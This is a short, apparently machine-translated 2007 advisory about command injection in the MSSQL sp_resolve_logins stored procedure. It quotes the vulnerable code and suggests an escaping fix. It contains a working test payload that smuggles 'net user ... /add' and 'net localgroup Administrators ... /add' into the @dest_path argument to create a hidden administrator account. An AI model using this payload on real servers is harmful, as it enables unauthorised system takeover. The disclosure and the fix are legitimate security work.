Infos:mssql an injection of its own stored procedure
Author: Madman [BCT]
date:10/11/2007
I see the MSSQL stored process, there is a model of the filter in the sample. Then I went to read their stored procedures. I found an injection.
Said the madman.
The vulnerability information is as follows:
Master.. In the sp_resolve_logins stored procedure, the @dest_path parameters are not strictly filtered, which leads to xp_cmdshell injection.
Analysis:
Copy Code code as follows:
SELECT @dest_path = RTRIM (LTRIM (@dest_path))
-If The last char is ' \ ', remove it.
IF substring (@dest_path, Len (@dest_path), 1) = ' \ '
SELECT @dest_path = substring (@dest_path, 1, Len (@dest_path)-1)
--Don ' t do validation if it's a UNC path due to security problem.
--If The server is started as a service using Local System account, we
--don ' t have access to the UNC path.
IF substring (@dest_path, 1,2) <> ' \ '
BEGIN
SELECT @command = ' dir ' + @dest_path + ' '
exec @retcode = master. xp_cmdshell @command, ' no_output '
IF @ @error <> 0
Return (1)
IF @retcode <> 0
BEGIN
RAISERROR (14430, 1, @dest_path)
Return (1)
End
End
Master.. Sp_resolve_logins stored procedures in this section, after a certain degree of judgment, the @dest_path carried out a certain filter.
But no filtering "(double quotes) caused xp_cmdshell to execute arbitrary SQL statements
Test code:
EXEC sp_resolve_logins ' text ', ' e:\asp\ ' &net user Admina admin/add&net localgroup Administrators Admina/add& ;d ir "e:\asp ', ' 1.asp '
Execute the above MSSQL statement and successfully add a system account named Admina
However, this stored procedure code is judged and requires the account number of the system Systemadmin permissions.
The madman provides a way to fix it:
Copy Code code as follows:
Using function Fn_escapecmdshellsymbolsremovequotes to filter the @dest_path is OK. Such as:
SELECT @dest_path = RTRIM (Fn_escapecmdshellsymbolsremovequotes (@dest_path)) so that no injection is generated.
